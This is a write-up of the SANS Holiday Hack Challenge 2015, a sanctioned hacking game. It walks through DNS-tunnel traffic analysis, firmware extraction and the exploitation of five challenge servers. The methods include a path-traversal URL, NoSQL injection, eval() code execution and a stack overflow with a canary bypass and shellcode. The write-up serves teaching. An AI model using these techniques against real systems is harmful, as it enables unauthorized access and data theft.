Cedric’s Cruft

In December 2015, the SANS institute released the Holiday Hack Challenge 2015. A whole storyline was created around the ATNAS corporation and their nefarious plans for Christmas.

The hack challenge featured a gaming component, the quest, where you were placed in the Dosis neighborhood. During the quest you are asked to solve hacking challenges and attack real (approved) targets.

Creating a whole game around this must have taken a lot of time. Kudos to the developers and people who made this possible. Without further ado, I would like to share what I found during the quest!

Part 1: Dance of the Sugar Gnome Fairies: Curious Wireless Packets

In the Dosis neighbourhood we talk to Josh who asks us to take a look at the network capture file giyh-capture.pcap. After taking a quick look through the pcap file with Wireshark, we notice that a lot of DNS packets are present. In Wireshark we can get a protocol breakdown via the Statistics > Protocol Hierarchy menu:

The DNS packets seem to be all TXT requests. DNS TXT “text” records are used to associate extra information with a host. One of TXT records’ best known uses is the setting of SPF records for preventing mail spoofing. TXT records have many other uses: for example, if you are enrolling a domain in Google Apps, Google will ask you to set a specific TXT record in order to verify that you are the actual owner of the domain.

In this case, the DNS TXT records seem to be used as a covert way of transfering data. This is a common technique: many TCP-over-DNS tools exist that allow you to tunnel traffic via DNS requests. This is extremely helpful in situations where your internet connection is restricted (e.g. paid Wi-Fi hotspots) but DNS is still working. During my studies in France I was using a tool called tcp-over-dns for accomplishing this. The more popular alternative seems to be iodine nowadays 🙂

If we take a closer look into the contents of the TXT records, we can see data that appears to be base64-encoded. We can use tshark, the command-line version of Wireshark to extract the data and base64-decode all the records. I invoke tshark with a display filter on DNS packets and extract the TXT fields. I then pipe each line of the output to the base64-decode command.

We can now clearly spot the UNIX commands from the output. If we scroll a bit further down, we run into a blob of binary. I replaced all non-printable characters with a dot using the tr command. It appears that the JPEG file /root/Pictures/snapshot_CURRENT.jpg is being transfered.

Seems like the file is split over multiple DNS packets and we’ll have to strip out the “FILE:” markers. I proceed by piping the output to the foremost tool, which will try to carve JPEG files from the input stream. (Not that it would be a lot of effort doing it manually, but a good hacker should be lazy.) You can also do this with binwalk.

The result is the following gnome, captioned “GnomeNET-NorthAmerica”. This answer is accepted by Josh.

Now to answer the questions:

1. Which commands are sent across the Gnome’s command-and-control channel?
   • iwconfig
   • cat /tmp/iwlistscan.txt
2. What image appears in the photo the Gnome sent across the channel from the Dosis home?
   • A gnome on a chair in a room. The image seems to be taken from the eye of the gnome, where the camera would be hidden. The camera image is captioned “GnomeNET-NorthAmerica”.

Part 2: I’ll be Gnome for Christmas: Firmware Analysis for Fun and Profit

From Jessica we obtain the Gnome firmware image giyh-firmware-dump.bin.

For this, we can use firmware-mod-kit. This toolkit allows you to unpack many firmware images. I noticed it hasn’t been updated in a while now. It basically does a binwalk on the image and then extracts the relevant parts, invoking extra tools (such as unsquashfs) where needed.

Simply run the extract-firmware.sh script on the firmware image:

Having a look into the extracted file system, we see the usual Linux file system. Based on the etc/openwrt_* files, it looks like this is a modified OpenWRT firmware image. Furthermore, based on the output of the file command on a binary, we can see that the code was compiled for the ARM architecture.

Looking around the files that have been changed recently, we can distinguish the following items:

• /usr/bin/sgstatd, a binary which we will look at more in-depth later
• /etc/hosts, containing the following entry
  • 52.2.229.189 supergnome1.atnascorp.com sg1.atnascorp.com supergnome.atnascorp.com sg.atnascorp.com
• /etc/gnome.conf, containing the configuration for a Gnome running this firmware
• /www/, NodeJS files, including Jade layout files and the /www/routes/index.js containing the controller logic
• /opt/mongodb/, MongoDB database files

In www/package.json we can see that the node command can be used to run the website. Let’s have a look at the contents of www/app.js. This file contains the startup code of the NodeJS app.

From this file we can deduce the following information about the web application:

• MongoDB is the underlying database
• Monk is used as a mongodb abstraction layer
• The MongoDB database username “gnome” and password “KTt9C1SljNKDiobKKro926frc”
• Express is used as the web application framework
• Jade is used as the template engine

Now let’s see what we can find in the database files in opt/mongodb by starting the mongodb daemon using a different dbpath: mongod --dbpath=opt/mongodb.

Using the mongo client we can then view the contents of the database:

From the users collection we can identify two users, “user” and “admin” with their passwords in plaintext.

Now to answer some more questions:

3. What operating system and CPU type are used in the Gnome? What type of web framework is the Gnome web interface built in?
   • OpenWRT, using an ARM CPU
   • A NodeJS website that uses the ExpressJS web framework
4. What kind of a database engine is used to support the Gnome web interface? What is the plaintext password stored in the Gnome database?
   • MongoDB
   • User “admin” with password “SittingOnAShelf”

Part 3: Let it Gnome! Let it Gnome! Let it Gnome! Internet-Wide Scavenger Hunt

In the etc/hosts file we found the IP address 52.2.229.189. When asking the Great and Powerful Oracle, Tom Hessman, whether we can attack this IP, we get an approval! There are five SuperGnomes that we need to find. The hint given for part 3 is to “sho Dan” our plan. This intentional typo points us to the usage of Shodan.

Looking up the IP address on Shodan, we can see the header X-Powered-By: GIYH::SuperGnome by AtnasCorp. Let’s use the contents of this header to search for other SuperGnomes on the Internet. Using “GIYH::SuperGnome” as the search query, we find all five SuperGnomes. Their location is also indicated by Shodan:

Name	IP address	Location
SG-01	52.2.229.189	United States, Ashburn
SG-02	52.34.3.80	United States, Boardman
SG-03	52.64.191.71	Australia, Sydney
SG-04	52.192.152.132	Japan, Tokyo
SG-05	54.233.105.81	Brazil

The table above answers the following questions:

5. What are the IP addresses of the five SuperGnomes scattered around the world, as verified by Tom Hessman in the Dosis neighborhood?
6. Where is each SuperGnome located geographically?

Part 4: There’s No Place Like Gnome for the Holidays: Gnomage Pwnage

The firmware image that we extracted earlier contains various vulnerabilities. Quoting the challenge: each SuperGnome has at least one flaw that can be identified by analysing the Gnome firmware and each SuperGnome is exploitable in a different way from the other SuperGnomes.

For each SuperGnome, I will try to solve the following questions:

7. Please describe the vulnerabilities you discovered in the Gnome firmware.
8. Attempt to remotely exploit each of the SuperGnomes. Describe the technique you used to gain access to each SuperGnome’s gnome.conf file.

When surfing to the SuperGnome’s web interface we can authenticate using the earlier identified credentials admin/SittingOnAShelf.

From the Files tab, we can access the following files:

• 20141226101055.zip
• camera_feed_overlap_error.zip
• factory_cam_1.zip
• gnome.conf
• gnome_firmware_rel_notes.txt
• sgnet.zip
• sniffer_hit_list.txt

The goal was to retrieve the gnome.conf for each SuperGnome. For SG-01 we don’t need to anything special and can just download it. We’ll revisit some of the other files in later stages. The vulnerability in this case could be seen as passwords being stored in plaintext in the MongoDB database.

The serial number is a Star Trek reference to the USS Enterprise NCC1701.

We can again authenticate using the same administrative credentials. This time however, when attempting to download files from the Files tab, we get the error message “Downloading disabled by Super-Gnome administrator”:

In the Settings tab, an upload function is now available.

The settings upload functionality is implemented with the following code in routes/index.js which we pulled from the firmware image:

If we’re an admin, a new directory will be created that will look like /gnome/www/public/upload/{RANDOM}/{filen}/, where filen is our POST body parameter. This allows us to create arbitrarily named directories. However, this vulnerability on its own is not enough to do something useful. Let’s keep looking.

In the cameras tab, we can see images of the gnomes sending captures to our SuperGnome.

I noticed that when adding .png to the end of the camera parameter, the camera image is still correctly displayed. Here’s the code for the camera image viewing in routes/index.js:

This line was commented out, but the relevant vulnerability would be in if (camera.indexOf('.png') == -1). The code is only checking whether .png is part of the string, but it could occur anywhere. Furthermore, in the fs.access call, the camera parameter is appended to the current path without any filtering. This is a typical path traversal vulnerability.

We can chain the previously identified vulnerability (arbitrary directory creation) and the new one (path traversal) together to show any file to our liking:

In the settings upload, I set the filename to test.png/.

The newly generated directory is /gnome/www/public/upload/MZkBJaHV/test.png/. Using this path, which includes “.png”, we can now bypass the filter and perform a path traversal attack.

Requesting http://52.34.3.80/cam?camera=../upload/MZkBJaHV/test.png/../../../../files/gnome.conf will now show us the following gnome.conf file:

The serial number refers us to XCKD #988 🙂

We cannot use our usual credentials to login to SG-03. We can authenticate using the other set of credentials (user/user), but it doesn’t allow us to do anything. Let’s go back to the source code!

In the login function, we can see that user input is passed to the db.get('users').findOne function. However, it is not escaping our input and directly passes any JavaScript object on to the database. Let’s see how we can exploit it. Your typical NoSQL injection will look as follows:

This is equivalent to the SQL-like ' OR 1 -- injection. In this case we’re trying to query an account with username and password value greater than an empty string. Other operators also exist for which the complete list is available in the MongoDB manual.

In this case we want to get access to the admin’s user account. We can use the $eq operator for this purpose and ask for the admin’s account specifically.

This is what happened on the server side:

We obtain a redirect to the main page, indicating that the login was successful. When unsuccessful, an error message is shown instead. We can also see a new session cookie in the server’s response. This cookie holds the admin session. I usually set cookies via the browser’s JavaScript console as follows:

When refreshing the page, we now have a valid admin session and can view and download files from SG-03.

The serial number is a reference to George Lucas’ first film.

I had already spotted the vulnerability in the firmware code for this one before I accessed it. We can login using our usual credentials, and this time we will get remote code execution (RCE); yay!

In the files upload functionality, you can spot the usage of “eval”.

In short: if we’re an admin, and the posted file’s MIME type is a PNG file, the postproc POST variable will be eval()’ed as NodeJS code!

Using the following statement as postproc POST variable, we can read the contents of our gnome.conf file:

You can also use this vulnerability to obtain a shell into the remote system. Consider the following example to execute the id command on the remote server:

And now for the icing on the cake, binary exploitation! We can login to the web interface using the usual credentials, but when attempting to download files, we obtain the following error: “File not found or access denied!”.

When exploring SG-01 we also found some other files, including sgnet.zip. This zip file contains C source code.

• sgnet.c
• sgnet.h
• sgstatd.c
• sgstatd.h

In the first few lines of sgstatd, we find the following code:

When attempting to connect to SG-05 on the target port 4242 we receive an options menu:

Taking a closer look at the C code of sgstatd.c, we can see a switch statement. Here’s that same code cleaned up in pseudo-C:

It appears that there is a non-advertised fourth option, which gets triggered when we enter ‘X’. This hidden command will call the function sgstatd.

As we can see in the sgstatd function, 200 bytes are read to the pointer &bin using the sgnet_readn function. However, only 100 bytes are allocated on the stack for bin. What happens when more than 100 bytes are read to that pointer, is a classic buffer overflow: the adjacent stack memory will be overwritten by our input. We should be able to overwrite the return address of the function in order to obtain code execution. The return address is where the execution will continue after reaching the end of the function. Look here for some more details on the call stack.

Furthermore, a manual canary value is set. The canary in this case is 0xe4ffffe4. There is a check whether the canary value is still the same at the end of executing the sgstatd function. The canary will be overwritten if we read more than 100 bytes into &bin, because the canary is in the adjacent stack memory. If the canary value doesn’t match, we jump to sgnet_exit, exiting the code so we’ll never reach our overwritten return address.

During the firmware analysis, we obtained the compiled version of the sgstatd binary. In the example below, I’m using binjitsu for Python to analyse the security features of the binary. A popular alternative is checksec. These tools can check if a binary was compiled with features such as a non-executable stack (NX-bit), stack canaries, position independent code, etc. Security features have been largely disabled it seems, which will make it easier for us to exploit any vulnerabilities.

We’re dealing with a binary that was compiled for 32-bit, and does not have the NX-bit set. The NX-bit can be used to mark memory regions as non-executable. In this case, the stack memory will not be marked as NX, meaning we can execute shellcode directly on the stack. Binjitsu also reports that no canary was found, but earlier on we found a canary in the source code: this is because the canary was added manually, and is not using the compiler’s stack canary protections.

Let’s see if we can trigger the buffer overflow. In one terminal window I’m running the sgstatd binary locally, while I’m piping some text to the listener via netcat in another terminal window. I’m using strace to log crashes within the process.

1. Regular execution: the hidden command ‘X’ is triggered, after which we send some input “hello”.
2. We trigger the buffer overflow by reading more than 100 bytes into &bin. “Canary not repaired” is shown because we overwrote the canary value on the stack.
3. We try to fix the canary value by sending it as our payload. We still get the “Canary not repaired” message, indicating that we might not have the correct alignment.
4. Try a different alignment.
5. Try a different alignment.
6. Using 3 extra padding bytes, we now got the correct alignment for the canary, since the “Canary not repaired” message is no longer shown. We now see that a segmenation fault is triggered, because we overwrote the function’s return address with the canary value.
7. The 3 extra padding bytes are now followed by 100 bytes (the size of bin). The next value on the stack is the canary. The return address is 4 bytes ahead. We can now return to any address by replacing BBBB (0x42424242)

We can now influence the return address while keeping the canary intact. But where to return to? In the code, the popen call is available, which we could use to execute a command on the system. However, popen requires a string argument containing our command. We would need to know the address of the stack pointer to be able to point to a string that we read onto the stack. There is no information leakage as far as I could tell that could point us to the stack address.

One of the easiest things to do in that case is to find an instruction gadget that allows us to transfer execution to the current stack position. Specifically, that means we’re looking for jmp esp. Our tool of choice in this case is ROPgadget.

We’re in luck! We can transfer code execution to the stack using the jmp esp instruction at 0x0804936b. If we set this address as our return address in the buffer overflow, we can place shellcode on the stack that will be executed. Note that this is only possible because the NX-bit is not set. Again, I’m resorting to binjitsu to create the exploit. Binjitsu features helpful functions to make the exploiting process a lot easier.

We already had the following payload (p32 is a utility function to pack an integer):

I’m modifying it as follows:

The shellcraft module of binjitsu contains helpful shellcodes. shellcraft.findpeersh() will do three things at once. First, it will locate the currently open socket for our connection and place it in the esi register. Second, it will call dup to duplicate the sock in esi to stdin, stdout and stderr. Third, it will spawn a shell.

We’re effectively bypassing a protection here that randomizes the file descriptor for the socket by letting the shellcode automatically locate it (“findpeer”). This randomizer is implemented in sgnet_randfd and is called by the sgnet_server function in the sgnet.c file.

"C"*22 are some extra padding bytes that are needed before our own commands are read. I’m adding ;exit to exit the shell after we’ve run the command.

And there it is, a working remote buffer overflow exploit that allows remote command execution:

I’m spawning a new connection for each command that I send to the server since the binary automatically closes the connection after a few seconds. It does this by setting an alarm which closes the client connection. This is implemented in the sgnet_server function in sgnet.c.

I went a bit futher and modified the Python script to disable the alarm and pop a shell. Disabling an alarm is as easy as calling alarm(0), and of course binjitsu aso supports this!

Not much has changed between this version and the previous: first we’re creating some shellcode that calls alarm(0) and then repeat the same process as before. When we get a shell, we’re sending some Python code to spawn a PTY. Although a PTY is not really necessary, it allows us to use commands that would otherwise require a TTY (such as the su command).

Here is the downloaded gnome.conf file:

I can’t immediately place the serial number in this case. “Ackler for ever”? The first hit for Ackler on Google is a compsci teacher, so that may be it 🙂

Part 5: Baby, It’s Gnome Outside: Sinister Plot and Attribution

There are a few things that we didn’t look at yet. Besides the gnome.conf file on each SuperGnome, also pcap files were available and a staticky image. I extracted data from the pcap files via Rightclick > Follow > TCP Stream > Save as in Wireshark. It is SMTP and POP traffic. Since the SMTP traffic is on port 2525 rather than the default of 25, you can decode the traffic manually via Rightclick > Decode As... and setting SMTP as the current data type.

• SG-01 pcap, txt and image
• SG-02 pcap, txt and image
• SG-03 pcap, txt and image
• SG-04 pcap, txt and image
• SG-05 pcap, txt and image

PCAP files

In the SG-01 extracted stream contents, we can notice a blob of base64-encoded image data. I removed the data leading up to the base64-encoded image and then outputted the resulting image.

The image describes the GIYH (Gnome In Your Home) architecture 🙂

In the SG-02 stream contents, an e-mail is sent from [email protected], requesting of a batch of 2 million of the following components:

• Ambarella S2Lm IP Camera Processor System-on-Chip (with an ARM Cortex A9 CPU and Linux SDK)
• ON Semiconductor AR0330: 3 MP 1/3″ CMOS Digital Image Sensor
• Atheros AR6233X Wi-Fi adapter
• Texas Instruments TPS65053 switching power supply
• Samsung K4B2G16460 2GB SSDR3 SDRAM
• Samsung K9F1G08U0D 1GB NAND Flash

That’s some serious power for a Gnome! 🙂

In the SG-03 stream contents, the sinister plan is revealed:

Our long-running plan is nearly complete, and I’m writing to share the date when your thieving will commence! On the morning of December 24, 2015, each individual burglar on this email list will receive a detailed itinerary of specific houses and an inventory of items to steal from each house, along with still photos of where to locate each item. The message will also include a specific path optimized for you to hit your assigned houses quickly and efficiently the night of December 24, 2015 after dark.

It’s all quite simple – go to each house, grab the loot, and return it to the designated drop-off area so we can resell it. And, above all, avoid Mount Crumpit!

As we agreed, we’ll split the proceeds from our sale 50-50 with each burglar.

Oh, and I’ve heard that many of you are asking where the name ATNAS comes from. Why, it’s reverse SANTA, of course. Instead of bringing presents on Christmas, we’ll be stealing them!

The stream contents for SG-04 contain an e-mail from the same e-mail address to a psychiatrist.

To answer your question directly, as a young child (I must have been no more than two), I experienced a life-changing interaction. Very late on Christmas Eve, I was awakened to find a grotesque green Who dressed in a tattered Santa Claus outfit, standing in my barren living room, attempting to shove our holiday tree up the chimney. My senses heightened, I put on my best little-girl innocent voice and asked him what he was doing. He explained that he was “Santy Claus” and needed to send the tree for repair. I instantly knew it was a lie, but I humored the old thief so I could escape to the safety of my bed. That horrifying interaction ruined Christmas for me that year, and I was terrified of the whole holiday season throughout my teen years.

I later learned that the green Who was known as “the Grinch” and had lost his mind in the middle of a crime spree to steal Christmas presents. At the very moment of his criminal triumph, he had a pitiful change of heart and started playing all nicey-nice. What an amateur! When I became an adult, my fear of Christmas boiled into true hatred of the whole holiday season. I knew that I had to stop Christmas from coming. But how?

I vowed to finish what the Grinch had started, but to do it at a far larger scale. Using the latest technology and a distributed channel of burglars, we’d rob 2 million houses, grabbing their most precious gifts, and selling them on the open market. We’ll destroy Christmas as two million homes full of people all cry “BOO-HOO”, and we’ll turn a handy profit on the whole deal.

The e-mail is signed by “Cindy Lou Who”. We now know who is behind all of this!

In the pcap of SG-05, we find out that the Grinch wrote Cindy Lou Who a kind-hearted letter back, apologising for what he did so long ago.

I am writing to apologize for what I did to you so long ago. I wronged you and all the Whos down in Who-ville due to my extreme misunderstanding of Christmas and a deep-seated hatred. I should have never lied to you, and I should have never stolen those gifts on Christmas Eve. I realize that even returning them on Christmas morn didn’t erase my crimes completely. I seek your forgiveness.

Staticky images

Now, the challenge also talks about staticky images: we obtained 5 factory_cam_X.png images from each SuperGnome and a single camera_feed_overlap_error.png image. There’s a hint on the “GnomeNET” tab about what we should do with them:

It sounds like we’ll need to XOR the images together to obtain the camera feed image of the boss’ office. I couldn’t immediately find a tool that would XOR images together, so I used some Python. I iterate through the dimensions of the image and XOR the pixel values of all images in this loop.

And there it is, the camera image taken from the boss’ office.

Cindy Lou Who, age 62, is our mastermind 🙂 (reference).

Attribution

We can now answer the challenge questions:

9. Based on evidence you recover from the SuperGnomes’ packet capture ZIP files and any staticky images you find, what is the nefarious plot of ATNAS Corporation?
   • The ATNAS corporation created 2 million gnomes that are placed in homes around the world. All gnomes have a camera inside and they are controlled by 5 SuperGnomes that are receiving the feeds. This allows ATNAS to determine where interesting items are around the house. On the night of 24 December, burglars will then break into the houses wearing a Santa suit, stealing the items that are valuable. These items were previously located inside the house via the camera images of the gnomes. Afterwards, ATNAS will resell the stolen goods. ATNAS is reverse SANTA: instead of bringing presents on Christmas, they’ll be stealing them!
10. Who is the villain behind the nefarious plot.
    • Cindy Lou Who, age 62, the CEO of ATNAS corporation.

Now I wonder whether ATNAS still continued with their plan, after receiving such a heartfelt letter from the Grinch. I hope to see a follow-up! 🙂

I liked that many easter eggs were present in the challenges in the form of references to movies and people. I hope I didn’t miss too many! Thanks again to the people who created this challenge. Happy holidays.

You know you can’t spell S-A-N-T-A without an N, an S, and an A.